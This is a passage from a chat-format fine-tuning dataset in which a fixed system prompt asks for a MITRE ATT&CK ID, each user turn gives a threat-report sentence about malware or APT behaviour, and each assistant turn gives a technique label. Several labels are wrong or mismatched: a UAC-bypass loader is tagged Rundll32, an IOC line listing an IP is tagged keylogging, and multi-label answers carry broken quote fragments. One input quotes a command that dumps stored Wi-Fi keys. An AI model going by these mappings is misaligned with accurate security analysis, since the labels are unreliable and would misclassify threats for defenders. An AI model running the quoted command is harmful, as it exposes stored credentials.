                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ke3chang backdoor RoyalDNS established persistence through adding a service called \"Nwsapagent\"."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "malware SierraCharlie uses RDP for propagation."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rover has functionality to remove Registry Run key persistence as a cleanup procedure."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "StrifeWater can download updates and auxiliary modules."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used Android backdoors capable of exfiltrating specific files directly from the infected devices."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OSX_OCEANLOTUS.D sets the main loader file’s attributes to hidden."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can provide a remote shell."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "EvilGrab adds a Registry Run key for ctfmon.exe to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Agent.btz drops itself onto removable media devices and creates an autorun.inf file with an instruction to run that file. When the device is inserted into another system, it opens autorun.inf and loads the malware."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Crutch has established persistence with a scheduled task impersonating the Outlook item finder."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During this process, the adversary identifies data of interest from the network of the victim. This can be anything from file and directory-listings, configuration files, manuals, email stores in the guise of OST- and PST-files, file shares with intellectual property (IP), and data scraped from memory. If the data is small enough, it is exfiltrated through the command and control channel of the Cobalt Strike beacons. However, usually the data is compressed with WinRAR, staged on another system of the victim, and from there copied to a OneDrive-account controlled by the adversary"
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection', 'T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Fysbis has installed itself as an autostart entry under \"~/.config/autostart/dbus-inotifier.desktop\" to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.013 - XDG Autostart Entries"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group has used multiple types of encryption and encoding for their payloads, including AES, Caracachs, RC4, XOR, Base64, and other tricks such as creating aliases in code for Native API function names."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "encrypts C2 communications with RC4 as well as TLS."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor has used several notable techniques in these incidents such as sniffing passwords from Wi-Fi traffic, poisoning the NetBIOS Name Service, and spreading laterally via the EternalBlue exploit.  APT28 Uses Malicious Document to Target Hospitality Industry FireEye has uncovered a malicious document sent in spear phishing emails to multiple companies in the hospitality industry, including hotels in at least seven European countries and one Middle Eastern country in early July"
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The PowerShell implant used in the Olympics campaign was a stager based on the PowerShell Empire framework that created an encrypted channel to the attacker’s server"
            },
            {
                "role": "assistant",
                "content": "T1546.013 - Event Triggered Execution: PowerShell Profile', 'T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses the keychaindump project to read securityd memory."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Additionally, the IP 211[.]72 [.]242[.]120 is one of the hosts for the domain microsoftmse[.]com, which has been used by several KIVARS variants"
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging', 'T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "malware has obtained the victim username and sent it to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SpyNote RAT captured the device’s screen activities along with audio using the  MediaProjectionCallback functionality (available with Lollipop, the Android 5.0 release, and later) and saved the output in a file named \"video.mp4\" as shown in the following screenshot:          Figure 5 : Output File     SMS stealing  SpyNote RAT was also observed stealing SMS messages from the affected devices, as shown in screenshot below:          Figure 6: Reading SMS messages     Stealing contacts The ability to steal contacts is a favorite feature for spyware developers, as the stolen contacts can be used to further spread the spyware"
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This is an application document that has been used to provide a decoy to the Bisonal malware. This conference has some high-ranking government and business attendees. In 2019, a Russian RTF document — судалгаа.doc (research.doc) — was used with an exploit to drop the winhelp.wll file, which contains Bisonal. Based on our research and the released paper mentioned above, the Bisonal malware is part of the Tonto Team arsenal. Tonto Team was mentioned in the media in 2017 as one of the actors who targeted South Korea, when the country announced it would deploy a Terminal High-Altitude Air Defense (THAAD) in response to North Korean missile tests. At this time, researchers connected the Tonto Team to China"
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Siloscape makes various native API calls."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Stuxnet encodes the payload of system information sent to the command and control servers using a one byte 0xFF XOR key. Stuxnet also uses a 31-byte long static byte string to XOR data sent to command and control servers. The servers use a different static key to encrypt replies to the implant."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "provides a reverse shell on the victim."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SHA256 file hashes for 119 malspam attachments, 30 extracted Redaman executable files, and 30 dropped Redaman DLL files found from September through December 2018. Information is available at: https://github.com/pan-unit42/iocs/blob/master/Redaman_banking_malware/2018-09-thru-2018-12-file-hashes-for-Redaman-banking-malware.txt ."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment', 'T1598.002 - Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "To further confuse anti-malware solutions, the loader contains the entire unobfuscated code of a legitimate open source application called Blink (https://github.com/crosire/blink), which never gets executed"
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Flame appears to have two modules designed for infecting USB sticks, called “Autorun Infector” and “Euphoria”. We haven’t seen them in action yet, maybe due to the fact that Flame appears to be disabled in the configuration data. Nevertheless, the ability to infect USB sticks exists in the code, and it’s using two methods"
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "malware gathers data from the local victim system."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "H1N1 uses multiple techniques to obfuscate strings, including XOR."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "All of the attacks involved spear-phishing emails to deliver malicious documents that required the recipient to carry out some action. The payload in a majority of these attacks was a backdoor called Spark, which is a backdoor that allows the threat actors to open applications and run command line commands on the compromised system"
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link', 'T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TAINTEDSCRIBE uses a Linear Feedback Shift Register (LFSR) algorithm for network encryption."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ChChes establishes persistence by adding a Registry Run key."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Determine whether the victim’s host machine is running Windows with an x86 or x64 architecture. Parse the contents of a corresponding textbox within the document and convert it to a command line argument specific to the Windows architecture on the victim’s machine"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Confucius has used VBScript to execute malicious code."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An increasingly popular tactic by threat actors is to use legitimate hosting services like Google Cloud or CloudFlare for their payload and C2  infrastructure, making it much more difficult to safely block IPs"
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The authors of Black Lambert included a couple of very interesting details in the sample, which read as the following: toolType=wl, build=132914, versionName = 2.0.0. Looking for similar samples, we were able to identify another generation of related tools which we called White Lambert. While Black Lambert connects directly to its C&C for instructions, White Lambert is a fully passive, network-driven backdoor."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MCMD has the ability to upload files from an infected device."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Tropic Trooper has been known to side-load DLLs using a valid version of a Windows Address Book and Windows Defender executable with one of their tools."
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Listing the C:/ drive contents using cd C:/; ls; - Listing the specific Wi-Fi profile details using netsh wlan show profiles name='&lt;Name&gt;' key=clear; - Listing the drives using Get-PSDrive"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery', 'T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The executable will drop the packaged QUADAGENT PowerShell script using the filename Office365DCOMCheck.ps1 in addition to a VBScript file with the same filename which will assist in the execution of it"
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading', 'T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gather the process time for all processes  Getting time information for all processes running on the system"
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection', 'T1057 - Process Discovery', 'T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The operators simply deploy their first-stage .php script in them, which will check the connection and get the actual C2 server domain name using an HTTP GET request"
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Throughout our investigation, many of the analyzed ZeroT RAR SFX samples (e.g. 67693ddb6236d3ef790059409ae240212c47acfd8c1c76d65c3ef19096fdf43b) contained a file named Go.exe which performs Windows UAC bypass. This executable contains a PDB path indicating its purpose of bypassing UAC (Fig"
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Olympic Destroyer uses Windows Management Instrumentation to enumerate all systems in the network."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cherry Picker exfiltrates files over FTP."
            },
            {
                "role": "assistant",
                "content": "T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FatDuke can execute via rundll32."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "connects to a predefined domain on port 443 to exfil gathered information."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "mshlpweb.dll is a loader that uses a known token impersonation technique to elevate permissions and execute install.bat with high privileges. To gain higher privileges mshlpweb.dll execute the Windows Update Standalone Installer, wusa.exe. This process runs as a high-integrity process by default, since its set to auto-elevate within its manifest"
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "StrifeWater can collect the time zone from the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exfiltrate data using HTTP over HTTP over AES over XOR, or any combination of the available transports"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Epic recursively searches for all .doc files on the system and collects a directory listing of the Desktop, %TEMP%, and %WINDOWS%\\Temp directories."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kimsuky has signed files with the name EGIS CO,. Ltd.."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Data captured by RawPOS is placed in a temporary file under a directory named \"memdump\"."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Trojan does not encrypt the data sent via DNS beacons, rather it converts the ASCII characters into their hexadecimal values and includes these values in cleartext. The DNS beacons sent from the Helminth executable have the following structure, which is very similar to the script version"
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Confucius has used a file stealer that checks the Document, Downloads, Desktop, and Picture folders for documents and images with specific extensions."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Tarrask is able to delete the Security Descriptor (`SD`) registry subkey in order to “hide” scheduled tasks."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Variants of  have added Run Registry keys to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PowerDuke has a command to download a file."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Displays and modifies entries in the Address Resolution Protocol (ARP) cache, which contains one or more tables that are used to store IP addresses and their resolved Ethernet or Token Ring physical addresses. Used without parameters, arp displays help"
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The C2 domain name for the DNS communication is hardcoded and obfuscated using XOR. The backdoor will generate a subdomain using a custom domain generation algorithm (DGA) and try to send an initial beacon to the C2 via DNS tunneling"
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN6 has used scripting to iterate through a list of compromised PoS systems, copy data to a log file, and remove the original data files."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "First, it captures the desktop window and sets the background color to black. It then writes \"All your files are encrypted. For more information see “README-FOR-DECRYPT.txt\" with DrawText API to a bitmap image and saves it as \"encr.bmp\" in the public pictures folder. Finally, it changes the desktop wallpaper to the new image using the SystemParametersInfoAPI with the SPI_SETDESKWALLPAPER flag"
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In this particular instance, the payload is encoded via base64, which certutil decodes"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rocke's miner connects to a C2 server using port 51640."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "jRAT collects information about the OS (version, build type, install date) as well as system up-time upon receiving a connection from a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ISMInjector is obfuscated with the off-the-shelf SmartAssembly .NET obfuscator created by red-gate.com."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OilRig has used credential dumping tools such as Mimikatz to steal credentials to accounts logged into the compromised system and to Outlook Web Access."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "STARWHALE can gather the computer name of an infected host."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PowerSploit's \"Invoke-Kerberoast\" module can request service tickets and return crackable ticket hashes."
            },
            {
                "role": "assistant",
                "content": "T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Comnie uses blogs and third-party sites (GitHub, tumbler, and BlogSpot) to avoid DNS-based blocking of their communication to the command and control server."
            },
            {
